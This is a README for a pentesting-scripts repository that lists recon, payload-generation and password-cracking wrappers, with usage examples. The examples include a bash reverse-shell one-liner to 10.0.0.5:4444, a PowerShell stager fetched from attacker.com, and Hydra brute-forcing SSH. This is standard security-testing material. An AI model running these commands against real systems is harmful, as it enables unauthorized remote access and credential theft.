Pentesting-Scripts

Welcome to the Pentesting Scripts repository! This collection contains production-ready scripts and wrappers to automate and streamline your penetration testing workflows. The repository is organized into the following directories:

/payloads/
/cracking/
/recon/

Each folder contains tools for a specific phase of a pentest.

---

📁 Directory Structure

1. recon/

• Advanced Nmap Runner & Parser (nmap_runner.py)
• SQLmap Automation with JSON Reporting (sqlmap_runner.py)
• Parallel Recon Pipeline (recon_pipeline.py)

These scripts integrate popular tools (Nmap, SQLmap, Amass, Gobuster) into automated workflows, parse tool outputs, and log results.

2. payloads/

• Multi-Shell Payload Generator (payload_gen.py)
• Encoded Payload Distributor (encoded_payload_gen.py)
• Windows PowerShell Stager Generator (ps_stager_gen.py)

Payload generators for various shells (Bash, Python, PHP, PowerShell) with logging and file output options.

3. cracking/

• Hashcat Runner & Result Parser (hashcat_runner.py)
• John the Ripper Automation (john_runner.py)
• Hydra Brute-Force Wrapper (hydra_runner.py)

Wrappers for mainstream cracking tools with robust execution via subprocess, output parsing, and logging.

---

🚀 Getting Started

Prerequisites

• Python 3.6+

• Tools installed and in your PATH:

  • Nmap

  • SQLmap

  • Amass

  • Gobuster

  • Hashcat

  • Hydra

  • [Python packages]:

    pip install python-nmap

Installation

1. Clone this repository:

   git clone https://github.com/L9-Fatalbullet/Pentesting-Scripts
   cd Pentesting-Scripts

2. (Optional) Create a virtual environment:

   python3 -m venv venv
   source venv/bin/activate

3. Install Python dependencies:

   pip install -r requirements.txt

---

📖 Usage Examples

Integration Tools

Advanced Nmap Runner

python integration/nmap_runner.py 192.168.1.0/24 --ports 1-1000 --aggressive

SQLmap Automation

python integration/sqlmap_runner.py "http://example.com?id=1" --level 3 --risk 2

Recon Pipeline

python integration/recon_pipeline.py example.com --wordlist /usr/share/wordlists/common.txt

Payload Generators

Multi-Shell Payload Generator

python payloads/payload_gen.py bash 10.0.0.5 4444 -o bash_rev.txt

Encoded Payload Distributor

python payloads/encoded_payload_gen.py "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1" -o wrapped.sh

PowerShell Stager Generator

python payloads/ps_stager_gen.py https://attacker.com/stager.ps1 -o stager.txt

Cracking Wrappers

Hashcat Runner

python cracking/hashcat_runner.py hashes.txt /wordlists/rockyou.txt --hash-type 0 --extra-args "-w 3"

John the Ripper Automation

python cracking/john_runner.py hashes.txt /wordlists/rockyou.txt

Hydra Brute-Force

python cracking/hydra_runner.py ssh 192.168.1.10 users.txt pass.txt --threads 10

---

📝 Contributing

Contributions are welcome! Please:

1. Fork the repo.
2. Create a feature branch (e.g., feature/new-tool).
3. Commit your changes.
4. Open a Pull Request.

---

📄 License

This project is licensed under the MIT License. See LICENSE for details.

---

Happy hacking!